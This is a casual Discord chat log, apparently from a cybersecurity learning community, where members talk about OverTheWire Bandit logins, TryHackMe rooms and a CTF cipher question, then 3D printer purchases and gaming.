steel aspen
#

Scrubz I forgot ping

sick lance
#

eh, I was already here.

solemn sentinel
coarse moth
solemn sentinel
#

how he god it, no idea

jagged otter
#

i'll get back to you on the overthewire thing

solemn sentinel
jagged otter
#

i need to go to the store and get some munchies

#

i wouldn't click on that link

steel aspen
jagged otter
#

yeah jabba might know

simple valve
#

i did not complete overthewire though, only up till level 19

#

(i am lazy, okay?)

steel aspen
jagged otter
#

what was at lvl 19?

steel aspen
#

If the url has bandit1 do I log in with that one?

jagged otter
#

getting advise from the same person that brought you a sketchy addy?

#

lol

simple valve
#

shud be bandit{level}

steel aspen
#

Or if the level on the left is level 1 do I use that one?

#

Yeah I get that but I'm confused which number to use with which level

simple valve
#

so if youre from level 0 going to level 1, you login with bandit0

steel aspen
#

Cos there's "Level 1 - > Level 2"

simple valve
#

then once you got the pw, you login with bandit1

steel aspen
#

I think I'm up to like 5 or 6

jagged otter
#

i thought once you complete a level you go to the next automatically

simple valve
#

you manually login via ssh

steel aspen
#

Nah u gotta log in with the password u found

jagged otter
#

you gotta ssh each one?

steel aspen
#

Yep

jagged otter
#

ok

steel aspen
#

It's easy tho

#

Just gotta +1 to username number

jagged otter
#

bandit0@bandit:~$ client_loop: send disconnect: Broken pipe

#

i guess it times out

steel aspen
#

It's hard to keep track of which user to log into which one tho

jagged otter
#

well i do know they fade out the ones you complete

steel aspen
#

Yeah

jagged otter
#

does it time you out ?

#

like if you go do something and come back it drops you

#

i'll get back on it once i come back from the store

steel aspen
#

Nah I'm good with it

hushed mountain
#

What is bad magic number?

sick lance
#

Oh wait

#

That doesn't look like THM

hushed mountain
#

Yea

sick lance
#

What are you doing?

hushed mountain
#

Try to decrypt the base64 encoded salted cipher

steel aspen
#

Ctf?

sick lance
#

Are you doing school work, or something?

hushed mountain
#

I'm stuck here ๐Ÿฅฒ , I m a newbie and idk wht to do

hushed mountain
hushed mountain
sick lance
#

Whcih CTF?

hushed mountain
rapid merlin
#

Good morning. I'm a Mr.munchkins man

steel aspen
#

Don't think allowed to help with most of em.

hushed mountain
#

I m just asking what it is

#

Bad magic number

chilly veldt
#

when your partner wants to be a part of what you do at work, and you accidentally say out loud:
"what should it be called?"
and you just hear yelled from the background:
"Bodil"

fleet turtle
#

doing a little xss game to refresh my memory

sick lance
hushed mountain
#

Yess

sick lance
boreal scarab
#

I have money. I purchased a good, with said money. And am now waiting on said good.

loud marlin
#

why not the latest one

boreal scarab
#

V3

#

Not v2

#

My V2 decided it didn't wanna work anymore. 0 filament going through, doesn't matter what nozzle, hot end was ascewed, bowden tube would never come out. I couldn't take the hotend apart

#

Look at this yummy goodness

loud marlin
#

a ok then

gray sonnet
boreal scarab
# loud marlin a ok then

It has a PEI sheet, all metal hotend, CR Touch auto bed leveling, and couple other cool stuff, all default

#

Only thing is... it's Klipper

loud marlin
#

that is good thing

#

you can root it and set things

boreal scarab
boreal scarab
#

This can be connected to LAN

loud marlin
#

my ex wish me back ?

#

oh...

#

lan is yes like multi printing

gray sonnet
loud marlin
#

creality print have that option

loud marlin
gray sonnet
#

Shadowww! Hai :D happyPanda

sand trench
gray sonnet
#

Hi Ralex blobheart

loud marlin
#

ello ello vain

gray sonnet
sand trench
boreal scarab
# loud marlin creality print have that option

I took a look at Creality print, I quote like it. But Cura has my settings, just updated it to have my V3 KE as a printer, which would make my life 10x easier, no need to copy profiles or filament over

boreal scarab
#

Just stay using Cura till I can't kekw

gray sonnet
sand trench
#

slightly tired but otherwise good enough

boreal scarab
gray sonnet
loud marlin
boreal scarab
#

Currently busy but @loud marlin you mind bringing up a comparison sheet? I still got time to cancel my KE too

#

If need be for the plus

loud marlin
#

w8. ill tru look

boreal scarab
twin ridgeBOT
#

Gave +1 Rep to @loud marlin (current: #25 - 333)

loud marlin
#

it might exist something like that

boreal scarab
#

Oh, KE is also a direct drive out of the box too smilecat

fleet turtle
#

@jagged otter im on your level now ๐Ÿ’ช

#

finished XSS and figured that i might just take a little break to do some easy stuff, i did HTTP in detail annnd here i am

loud marlin
fleet turtle
#

i could probably get to 0x6 today if i just grind simple rooms

#

i mostly just want to do the jr pentester path get to the nmap bit, whatnot

boreal scarab
mossy river
#

Reason 10 on why I should keep drinking redbull. They literally have a blog to give you tips on video games https://www.redbull.com/gb-en/valorant-aiming-tips-guide

Red Bull

If you find yourself kicked to the spectator screen more often than not after turning a corner in Valorant, donโ€™t worry. These tricks and adjustments will have you clicking heads first in no time.

loud marlin
#

will look for soemthing

mossy river
#

@fleet turtle

boreal scarab
loud marlin
boreal scarab
#

$460 at Microcenter

#

220x220x240 to 300x300x330 But I've never had a large print

loud marlin
#

you buy what you need ofc. i also didnt have on cr10. at lasnt not that height

loud marlin
#

you do not follow new printers dont you ?

#

i can 12000

#

creality k2 can 800mms and 20 000

boreal scarab
#

I like my detail

loud marlin
boreal scarab
#

Now I'm tempted to get the plus...... but do I really need all that space? I can get it today....

crystal pelican
#

Hello, I have a problem